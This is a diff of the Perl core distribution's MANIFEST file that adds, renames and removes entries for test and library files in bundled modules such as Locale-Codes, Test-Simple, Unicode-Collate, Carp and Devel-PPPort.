 cpan/Locale-Codes/lib/Locale/Currency.pm	Locale::Codes
@@ -1657,26 +1305,36 @@
 cpan/Locale-Codes/lib/Locale/Language.pod	Locale::Codes documentation
 cpan/Locale-Codes/lib/Locale/Script.pm		Locale::Codes
 cpan/Locale-Codes/lib/Locale/Script.pod		Locale::Codes documentation
-cpan/Locale-Codes/t/country.t			Locale::Codes tests
+cpan/Locale-Codes/t/country_func.t	Locale::Codes tests
 cpan/Locale-Codes/t/country_old.t	Locale::Codes tests
-cpan/Locale-Codes/t/currency.t
-cpan/Locale-Codes/t/currency_old.t
-cpan/Locale-Codes/t/langext.t
-cpan/Locale-Codes/t/langfam.t
-cpan/Locale-Codes/t/language.t			Locale::Codes tests
+cpan/Locale-Codes/t/country_oo.t	Locale::Codes tests
+cpan/Locale-Codes/t/currency_func.t	Locale::Codes tests
+cpan/Locale-Codes/t/currency_old.t	Locale::Codes tests
+cpan/Locale-Codes/t/currency_oo.t	Locale::Codes tests
+cpan/Locale-Codes/t/do_tests.pl	Locale::Codes tests
+cpan/Locale-Codes/t/errors.1.t	Locale::Codes tests
+cpan/Locale-Codes/t/errors.2.t	Locale::Codes tests
+cpan/Locale-Codes/t/langext_func.t	Locale::Codes tests
+cpan/Locale-Codes/t/langext_oo.t	Locale::Codes tests
+cpan/Locale-Codes/t/langfam_func.t	Locale::Codes tests
+cpan/Locale-Codes/t/langfam_oo.t	Locale::Codes tests
+cpan/Locale-Codes/t/language_func.t	Locale::Codes tests
 cpan/Locale-Codes/t/language_old.t	Locale::Codes tests
-cpan/Locale-Codes/t/langvar.t
-cpan/Locale-Codes/t/script.t
-cpan/Locale-Codes/t/script_old.t
+cpan/Locale-Codes/t/language_oo.t	Locale::Codes tests
+cpan/Locale-Codes/t/langvar_func.t	Locale::Codes tests
+cpan/Locale-Codes/t/langvar_oo.t	Locale::Codes tests
+cpan/Locale-Codes/t/script_func.t	Locale::Codes tests
+cpan/Locale-Codes/t/script_old.t	Locale::Codes tests
+cpan/Locale-Codes/t/script_oo.t	Locale::Codes tests
 cpan/Locale-Codes/t/testfunc.pl			Locale::Codes tests
-cpan/Locale-Codes/t/vals.pl
-cpan/Locale-Codes/t/vals_country.pl
-cpan/Locale-Codes/t/vals_currency.pl
-cpan/Locale-Codes/t/vals_langext.pl
-cpan/Locale-Codes/t/vals_langfam.pl
-cpan/Locale-Codes/t/vals_language.pl
-cpan/Locale-Codes/t/vals_langvar.pl
-cpan/Locale-Codes/t/vals_script.pl
+cpan/Locale-Codes/t/vals_country.pl	Locale::Codes tests
+cpan/Locale-Codes/t/vals_currency.pl	Locale::Codes tests
+cpan/Locale-Codes/t/vals_error.pl	Locale::Codes tests
+cpan/Locale-Codes/t/vals_langext.pl	Locale::Codes tests
+cpan/Locale-Codes/t/vals_langfam.pl	Locale::Codes tests
+cpan/Locale-Codes/t/vals_language.pl	Locale::Codes tests
+cpan/Locale-Codes/t/vals_langvar.pl	Locale::Codes tests
+cpan/Locale-Codes/t/vals_script.pl	Locale::Codes tests
 cpan/Locale-Maketext-Simple/lib/Locale/Maketext/Simple.pm	Locale::Simple
 cpan/Locale-Maketext-Simple/t/0-signature.t			Locale::Simple tests
 cpan/Locale-Maketext-Simple/t/1-basic.t				Locale::Simple tests
@@ -1701,6 +1359,7 @@
 cpan/Math-BigInt/t/bdstr-mbi.t		Test Math::BigInt
 cpan/Math-BigInt/t/bestr-mbf.t		Test Math::BigInt
 cpan/Math-BigInt/t/bestr-mbi.t		Test Math::BigInt
+cpan/Math-BigInt/t/bfib-mbi.t
 cpan/Math-BigInt/t/big_pi_e.t		test bpi() and bexp()
 cpan/Math-BigInt/t/bigfltpm.inc		Shared tests for bigfltpm.t and sub_mbf.t
 cpan/Math-BigInt/t/bigfltpm.t		See if BigFloat.pm works
@@ -1710,6 +1369,7 @@
 cpan/Math-BigInt/t/bigints.t		See if BigInt.pm works
 cpan/Math-BigInt/t/biglog.t		Test the log function
 cpan/Math-BigInt/t/bigroot.t		Test the broot function
+cpan/Math-BigInt/t/blucas-mbi.t
 cpan/Math-BigInt/t/bnstr-mbf.t		Test Math::BigInt
 cpan/Math-BigInt/t/bnstr-mbi.t		Test Math::BigInt
 cpan/Math-BigInt/t/bsstr-mbf.t		Test Math::BigInt
@@ -1801,6 +1461,7 @@
 cpan/Math-BigRat/t/hang.t		Math::BigRat test for bug #34584 - hang in exp()
 cpan/Math-BigRat/t/Math/BigRat/Test.pm	Math::BigRat test helper
 cpan/Math-BigRat/t/requirer.t		see if require works properly
+cpan/Math-BigRat/t/rt121139.t
 cpan/Math-BigRat/t/trap.t		see if trap_nan and trap_inf work
 cpan/Math-Complex/lib/Math/Complex.pm	A Complex package
 cpan/Math-Complex/lib/Math/Trig.pm	A simple interface to complex trigonometry
@@ -2328,8 +1989,10 @@
 cpan/Scalar-List-Utils/t/any-all.t		List::Util
 cpan/Scalar-List-Utils/t/blessed.t		Scalar::Util
 cpan/Scalar-List-Utils/t/dualvar.t		Scalar::Util
+cpan/Scalar-List-Utils/t/exotic_names.t
 cpan/Scalar-List-Utils/t/first.t		List::Util
 cpan/Scalar-List-Utils/t/getmagic-once.t
+cpan/Scalar-List-Utils/t/head-tail.t
 cpan/Scalar-List-Utils/t/isvstring.t		Scalar::Util
 cpan/Scalar-List-Utils/t/lln.t			Scalar::Util
 cpan/Scalar-List-Utils/t/max.t			List::Util
@@ -2460,6 +2123,7 @@
 cpan/Test-Harness/t/data/catme.1			Test data for Test::Harness
 cpan/Test-Harness/t/data/proverc			Test data for Test::Harness
 cpan/Test-Harness/t/data/sample.yml			Test data for Test::Harness
+cpan/Test-Harness/t/env_opts.t
 cpan/Test-Harness/t/errors.t				Test::Harness test
 cpan/Test-Harness/t/file.t				Test::Harness test
 cpan/Test-Harness/t/glob-to-regexp.t			Test::Harness test
@@ -2504,6 +2168,7 @@
 cpan/Test-Harness/t/proveversion.t				Test::Harness test
 cpan/Test-Harness/t/regression.t			Test::Harness test
 cpan/Test-Harness/t/results.t				Test::Harness test
+cpan/Test-Harness/t/rulesfile.t
 cpan/Test-Harness/t/sample-tests/bailout		Test data for Test::Harness
 cpan/Test-Harness/t/sample-tests/bignum			Test data for Test::Harness
 cpan/Test-Harness/t/sample-tests/bignum_many		Test data for Test::Harness
@@ -2545,6 +2210,7 @@
 cpan/Test-Harness/t/sample-tests/skipall_nomsg		Test data for Test::Harness
 cpan/Test-Harness/t/sample-tests/skipall_v13		Test data for Test::Harness
 cpan/Test-Harness/t/sample-tests/space_after_plan	Test data for Test::Harness
+cpan/Test-Harness/t/sample-tests/space_after_plan_v13
 cpan/Test-Harness/t/sample-tests/stdout_stderr		Test data for Test::Harness
 cpan/Test-Harness/t/sample-tests/strict			Test data for Test::Harness
 cpan/Test-Harness/t/sample-tests/switches		Test data for Test::Harness
@@ -2578,6 +2244,7 @@
 cpan/Test-Harness/t/source_tests/source.t				Test::Harness test
 cpan/Test-Harness/t/source_tests/source.tap				Test::Harness test
 cpan/Test-Harness/t/source_tests/source_args.sh				Test::Harness test
+cpan/Test-Harness/t/source_tests/test.tap
 cpan/Test-Harness/t/spool.t				Test::Harness test
 cpan/Test-Harness/t/state.t				Test::Harness test
 cpan/Test-Harness/t/state_results.t			Test::Harness test
@@ -2617,15 +2284,30 @@
 cpan/Test-Simple/lib/Test2/Event/Diag.pm
 cpan/Test-Simple/lib/Test2/Event/Encoding.pm
 cpan/Test-Simple/lib/Test2/Event/Exception.pm
+cpan/Test-Simple/lib/Test2/Event/Fail.pm
 cpan/Test-Simple/lib/Test2/Event/Generic.pm
-cpan/Test-Simple/lib/Test2/Event/Info.pm
 cpan/Test-Simple/lib/Test2/Event/Note.pm
 cpan/Test-Simple/lib/Test2/Event/Ok.pm
+cpan/Test-Simple/lib/Test2/Event/Pass.pm
 cpan/Test-Simple/lib/Test2/Event/Plan.pm
 cpan/Test-Simple/lib/Test2/Event/Skip.pm
 cpan/Test-Simple/lib/Test2/Event/Subtest.pm
 cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm
+cpan/Test-Simple/lib/Test2/Event/V2.pm
 cpan/Test-Simple/lib/Test2/Event/Waiting.pm
+cpan/Test-Simple/lib/Test2/EventFacet.pm
+cpan/Test-Simple/lib/Test2/EventFacet/About.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Control.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Error.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Info.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Render.pm
+cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm
 cpan/Test-Simple/lib/Test2/Formatter.pm
 cpan/Test-Simple/lib/Test2/Formatter/TAP.pm
 cpan/Test-Simple/lib/Test2/Hub.pm
@@ -2639,8 +2321,10 @@
 cpan/Test-Simple/lib/Test2/Transition.pod
 cpan/Test-Simple/lib/Test2/Util.pm
 cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm
+cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm
 cpan/Test-Simple/lib/Test2/Util/HashBase.pm
 cpan/Test-Simple/lib/Test2/Util/Trace.pm
+cpan/Test-Simple/t/HashBase.t
 cpan/Test-Simple/t/Legacy/00test_harness_check.t
 cpan/Test-Simple/t/Legacy/01-basic.t
 cpan/Test-Simple/t/Legacy/478-cmp_ok_hash.t
@@ -2708,6 +2392,7 @@
 cpan/Test-Simple/t/Legacy/missing.t
 cpan/Test-Simple/t/Legacy/More.t
 cpan/Test-Simple/t/Legacy/new_ok.t
+cpan/Test-Simple/t/Legacy/no_log_results.t
 cpan/Test-Simple/t/Legacy/no_plan.t
 cpan/Test-Simple/t/Legacy/no_tests.t
 cpan/Test-Simple/t/Legacy/note.t
@@ -2723,6 +2408,7 @@
 cpan/Test-Simple/t/Legacy/Regression/683_thread_todo.t
 cpan/Test-Simple/t/Legacy/Regression/6_cmp_ok.t
 cpan/Test-Simple/t/Legacy/Regression/736_use_ok.t
+cpan/Test-Simple/t/Legacy/Regression/789-read-only.t
 cpan/Test-Simple/t/Legacy/require_ok.t
 cpan/Test-Simple/t/Legacy/run_test.t
 cpan/Test-Simple/t/Legacy/simple.t
@@ -2733,6 +2419,7 @@
 cpan/Test-Simple/t/Legacy/subtest/args.t
 cpan/Test-Simple/t/Legacy/subtest/bail_out.t
 cpan/Test-Simple/t/Legacy/subtest/basic.t
+cpan/Test-Simple/t/Legacy/subtest/callback.t
 cpan/Test-Simple/t/Legacy/subtest/die.t
 cpan/Test-Simple/t/Legacy/subtest/do.t
 cpan/Test-Simple/t/Legacy/subtest/events.t
@@ -2767,7 +2454,9 @@
 cpan/Test-Simple/t/Legacy/utf8.t
 cpan/Test-Simple/t/Legacy/versions.t
 cpan/Test-Simple/t/Legacy_And_Test2/builder_loaded_late.t
+cpan/Test-Simple/t/Legacy_And_Test2/diag_event_on_ok.t
 cpan/Test-Simple/t/Legacy_And_Test2/hidden_warnings.t
+cpan/Test-Simple/t/Legacy_And_Test2/preload_diag_note.t
 cpan/Test-Simple/t/lib/Dev/Null.pm
 cpan/Test-Simple/t/lib/Dummy.pm
 cpan/Test-Simple/t/lib/MyOverload.pm
@@ -2801,7 +2490,13 @@
 cpan/Test-Simple/t/regression/694_note_diag_return_values.t
 cpan/Test-Simple/t/regression/696-intercept_skip_all.t
 cpan/Test-Simple/t/regression/721-nested-streamed-subtest.t
+cpan/Test-Simple/t/regression/757-reset_in_subtest.t
+cpan/Test-Simple/t/regression/buffered_subtest_plan_buffered.t
+cpan/Test-Simple/t/regression/builder_does_not_init.t
+cpan/Test-Simple/t/regression/errors_facet.t
+cpan/Test-Simple/t/regression/inherit_trace.t
 cpan/Test-Simple/t/regression/no_name_in_subtest.t
+cpan/Test-Simple/t/regression/todo_and_facets.t
 cpan/Test-Simple/t/Test2/acceptance/try_it_done_testing.t
 cpan/Test-Simple/t/Test2/acceptance/try_it_fork.t
 cpan/Test-Simple/t/Test2/acceptance/try_it_no_plan.t
@@ -2809,18 +2504,28 @@
 cpan/Test-Simple/t/Test2/acceptance/try_it_skip.t
 cpan/Test-Simple/t/Test2/acceptance/try_it_threads.t
 cpan/Test-Simple/t/Test2/acceptance/try_it_todo.t
+cpan/Test-Simple/t/Test2/behavior/disable_ipc_a.t
+cpan/Test-Simple/t/Test2/behavior/disable_ipc_b.t
+cpan/Test-Simple/t/Test2/behavior/disable_ipc_c.t
+cpan/Test-Simple/t/Test2/behavior/disable_ipc_d.t
 cpan/Test-Simple/t/Test2/behavior/err_var.t
 cpan/Test-Simple/t/Test2/behavior/Formatter.t
 cpan/Test-Simple/t/Test2/behavior/init_croak.t
+cpan/Test-Simple/t/Test2/behavior/intercept.t
+cpan/Test-Simple/t/Test2/behavior/ipc_wait_timeout.t
 cpan/Test-Simple/t/Test2/behavior/nested_context_exception.t
 cpan/Test-Simple/t/Test2/behavior/no_load_api.t
 cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t
 cpan/Test-Simple/t/Test2/behavior/special_names.t
+cpan/Test-Simple/t/Test2/behavior/subtest_bailout.t
 cpan/Test-Simple/t/Test2/behavior/Subtest_buffer_formatter.t
+cpan/Test-Simple/t/Test2/behavior/Subtest_callback.t
 cpan/Test-Simple/t/Test2/behavior/Subtest_events.t
 cpan/Test-Simple/t/Test2/behavior/Subtest_plan.t
 cpan/Test-Simple/t/Test2/behavior/Subtest_todo.t
 cpan/Test-Simple/t/Test2/behavior/Taint.t
+cpan/Test-Simple/t/Test2/behavior/trace_signature.t
+cpan/Test-Simple/t/Test2/behavior/uuid.t
 cpan/Test-Simple/t/Test2/legacy/TAP.t
 cpan/Test-Simple/t/Test2/modules/API.t
 cpan/Test-Simple/t/Test2/modules/API/Breakage.t
@@ -2830,15 +2535,30 @@
 cpan/Test-Simple/t/Test2/modules/Event.t
 cpan/Test-Simple/t/Test2/modules/Event/Bail.t
 cpan/Test-Simple/t/Test2/modules/Event/Diag.t
+cpan/Test-Simple/t/Test2/modules/Event/Encoding.t
 cpan/Test-Simple/t/Test2/modules/Event/Exception.t
+cpan/Test-Simple/t/Test2/modules/Event/Fail.t
 cpan/Test-Simple/t/Test2/modules/Event/Generic.t
-cpan/Test-Simple/t/Test2/modules/Event/Info.t
 cpan/Test-Simple/t/Test2/modules/Event/Note.t
 cpan/Test-Simple/t/Test2/modules/Event/Ok.t
+cpan/Test-Simple/t/Test2/modules/Event/Pass.t
 cpan/Test-Simple/t/Test2/modules/Event/Plan.t
 cpan/Test-Simple/t/Test2/modules/Event/Skip.t
 cpan/Test-Simple/t/Test2/modules/Event/Subtest.t
+cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t
+cpan/Test-Simple/t/Test2/modules/Event/V2.t
 cpan/Test-Simple/t/Test2/modules/Event/Waiting.t
+cpan/Test-Simple/t/Test2/modules/EventFacet.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/About.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t
+cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t
 cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t
 cpan/Test-Simple/t/Test2/modules/Hub.t
 cpan/Test-Simple/t/Test2/modules/Hub/Interceptor.t
@@ -2850,9 +2570,10 @@
 cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t
 cpan/Test-Simple/t/Test2/modules/Util.t
 cpan/Test-Simple/t/Test2/modules/Util/ExternalMeta.t
-cpan/Test-Simple/t/Test2/modules/Util/HashBase.t
+cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t
 cpan/Test-Simple/t/Test2/modules/Util/Trace.t
 cpan/Test-Simple/t/Test2/regression/693_ipc_ordering.t
+cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t
 cpan/Test-Simple/t/Test2/regression/gh_16.t
 cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t
 cpan/Text-Balanced/lib/Text/Balanced.pm	Text::Balanced
@@ -2929,6 +2650,7 @@
 cpan/Unicode-Collate/Collate/Locale/da.pl			Unicode::Collate
 cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl			Unicode::Collate
 cpan/Unicode-Collate/Collate/Locale/de_phone.pl			Unicode::Collate
+cpan/Unicode-Collate/Collate/Locale/dsb.pl
 cpan/Unicode-Collate/Collate/Locale/ee.pl
 cpan/Unicode-Collate/Collate/Locale/eo.pl			Unicode::Collate
 cpan/Unicode-Collate/Collate/Locale/es.pl			Unicode::Collate
@@ -2956,6 +2678,7 @@
 cpan/Unicode-Collate/Collate/Locale/kn.pl	Unicode::Collate
 cpan/Unicode-Collate/Collate/Locale/ko.pl			Unicode::Collate
 cpan/Unicode-Collate/Collate/Locale/kok.pl	Unicode::Collate
+cpan/Unicode-Collate/Collate/Locale/lkt.pl
 cpan/Unicode-Collate/Collate/Locale/ln.pl	Unicode::Collate
 cpan/Unicode-Collate/Collate/Locale/lt.pl			Unicode::Collate
 cpan/Unicode-Collate/Collate/Locale/lv.pl			Unicode::Collate
@@ -3043,6 +2766,7 @@
 cpan/Unicode-Collate/t/loc_de.t			Unicode::Collate
 cpan/Unicode-Collate/t/loc_deat.t			Unicode::Collate
 cpan/Unicode-Collate/t/loc_deph.t			Unicode::Collate
+cpan/Unicode-Collate/t/loc_dsb.t
 cpan/Unicode-Collate/t/loc_ee.t
 cpan/Unicode-Collate/t/loc_eo.t			Unicode::Collate
 cpan/Unicode-Collate/t/loc_es.t			Unicode::Collate
@@ -3073,6 +2797,7 @@
 cpan/Unicode-Collate/t/loc_kn.t	Unicode::Collate
 cpan/Unicode-Collate/t/loc_ko.t			Unicode::Collate
 cpan/Unicode-Collate/t/loc_kok.t	Unicode::Collate
+cpan/Unicode-Collate/t/loc_lkt.t
 cpan/Unicode-Collate/t/loc_ln.t	Unicode::Collate
 cpan/Unicode-Collate/t/loc_lt.t			Unicode::Collate
 cpan/Unicode-Collate/t/loc_lv.t			Unicode::Collate
@@ -3126,11 +2851,13 @@
 cpan/Unicode-Collate/t/nonchar.t			Unicode::Collate
 cpan/Unicode-Collate/t/normal.t			Unicode::Collate
 cpan/Unicode-Collate/t/notable.t
+cpan/Unicode-Collate/t/nushu.t
 cpan/Unicode-Collate/t/overcjk0.t		Unicode::Collate
 cpan/Unicode-Collate/t/overcjk1.t		Unicode::Collate
 cpan/Unicode-Collate/t/override.t		Unicode::Collate
 cpan/Unicode-Collate/t/rearrang.t		Unicode::Collate
 cpan/Unicode-Collate/t/rewrite.t			Unicode::Collate
+cpan/Unicode-Collate/t/tangut.t
 cpan/Unicode-Collate/t/test.t			Unicode::Collate
 cpan/Unicode-Collate/t/trailwt.t		Unicode::Collate
 cpan/Unicode-Collate/t/variable.t		Unicode::Collate
@@ -3150,6 +2877,7 @@
 cpan/version/t/08_corelist.t		Tests for version objects
 cpan/version/t/09_list_util.t		Tests for version objects
 cpan/version/t/10_lyon.t		Tests for version objects
+cpan/version/t/11_taint.t		Tests for version objects
 cpan/version/t/coretests.pm		Tests for version objects
 cpan/Win32/longpath.inc			Win32 extension long path support
 cpan/Win32/Makefile.PL			Win32 extension makefile writer
@@ -3234,7 +2962,10 @@
 dist/base/t/fields-5_6_0.t	See if fields work
 dist/base/t/fields-5_8_0.t	See if fields work
 dist/base/t/fields-base.t	See if fields work
+dist/base/t/incdot.t		Test how base.pm handles '.' in @INC
 dist/base/t/isa.t		See if base's behaviour doesn't change
+dist/base/t/lib/BaseIncMandatory.pm	Test module for base.pm
+dist/base/t/lib/BaseIncOptional.pm	Test module for base.pm
 dist/base/t/lib/Broken.pm	Test module for base.pm
 dist/base/t/lib/Dummy.pm	Test module for base.pm
 dist/base/t/lib/HasSigDie.pm	Module for testing base.pm
@@ -3250,11 +2981,15 @@
 dist/Carp/t/arg_string.t		See if Carp formats string args OK in stack traces
 dist/Carp/t/baduni.t		See if Carp handles non-char Unicode
 dist/Carp/t/baduni_warnings.t		See if Carp handles non-char Unicode when loaded via warnings.pm
+dist/Carp/t/broken_can.t	Test Carp with bad can implementations
+dist/Carp/t/broken_univ_can.t	Test Carp with bad UNIVERSAL::can
 dist/Carp/t/Carp.t		See if Carp works
 dist/Carp/t/Carp_overload.t		See if Carp handles overloads
+dist/Carp/t/Carp_overloadless.t		See if Carp handles overloads that dont use overload.pm
 dist/Carp/t/errno.t		See if Carp preserves $! and $^E
 dist/Carp/t/heavy.t		See if Carp::Heavy works
 dist/Carp/t/heavy_mismatch.t		See if Carp::Heavy catches version mismatch
+dist/Carp/t/stack_after_err.t	Test stack traces after syntax errors
 dist/Carp/t/stash_deletion.t		See if Carp handles stash deletion
 dist/Carp/t/swash.t		See if Carp avoids breaking swash loading
 dist/Carp/t/vivify_gv.t		See if Carp leaves utf8:: stuff alone
@@ -3294,6 +3029,376 @@
 dist/Data-Dumper/t/trailing_comma.t	See if Data::Dumper::Trailingcomma works
 dist/Data-Dumper/t/values.t	See if Data::Dumper::Values works
 dist/Data-Dumper/Todo		Data pretty printer, futures
+dist/Devel-PPPort/apicheck_c.PL		Devel::PPPort apicheck generator
+dist/Devel-PPPort/devel/buildperl.pl	Devel::PPPort perl version builder
+dist/Devel-PPPort/devel/devtools.pl	Devel::PPPort development utilities
+dist/Devel-PPPort/devel/mkapidoc.sh	Devel::PPPort apidoc collector
+dist/Devel-PPPort/devel/mktodo		Devel::PPPort baseline/todo generator
+dist/Devel-PPPort/devel/mktodo.pl	Devel::PPPort baseline/todo generator
+dist/Devel-PPPort/devel/regenerate	Devel::PPPort API re-generator
+dist/Devel-PPPort/devel/scanprov	Devel::PPPort provided API scanner
+dist/Devel-PPPort/HACKERS		Devel::PPPort hackers documentation
+dist/Devel-PPPort/Makefile.PL		Devel::PPPort makefile writer
+dist/Devel-PPPort/mktests.PL		Devel::PPPort test file writer
+dist/Devel-PPPort/module2.c		Devel::PPPort test file
+dist/Devel-PPPort/module3.c		Devel::PPPort test file
+dist/Devel-PPPort/parts/apicheck.pl	Devel::PPPort apicheck generator
+dist/Devel-PPPort/parts/apidoc.fnc	Devel::PPPort Perl API listing
+dist/Devel-PPPort/parts/base/5003070	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5004000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5004010	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5004020	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5004030	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5004040	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5004050	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5005000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5005010	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5005020	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5005030	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5005040	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5006000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5006001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5006002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5007000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5007001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5007002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5007003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008006	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008007	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008008	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5008009	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5009000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5009001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5009002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5009003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5009004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5009005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5010000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5010001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5011000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5011001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5011002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5011003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5011004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5011005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5012000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5012001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5012002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5012003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5012004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5012005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013006	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013007	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013008	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013009	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013010	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5013011	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5014000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5014001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5014002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5014003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5014004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015006	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015007	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015008	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5015009	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5016000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5016001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5016002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5016003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017000	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017001	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017002	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017003	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017004	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017005	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017006	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017007	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017008	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017009	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017010	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5017011	Devel::PPPort baseline todo file
+dist/Devel-PPPort/parts/base/5018000	Devel::PPPort baseline todo file
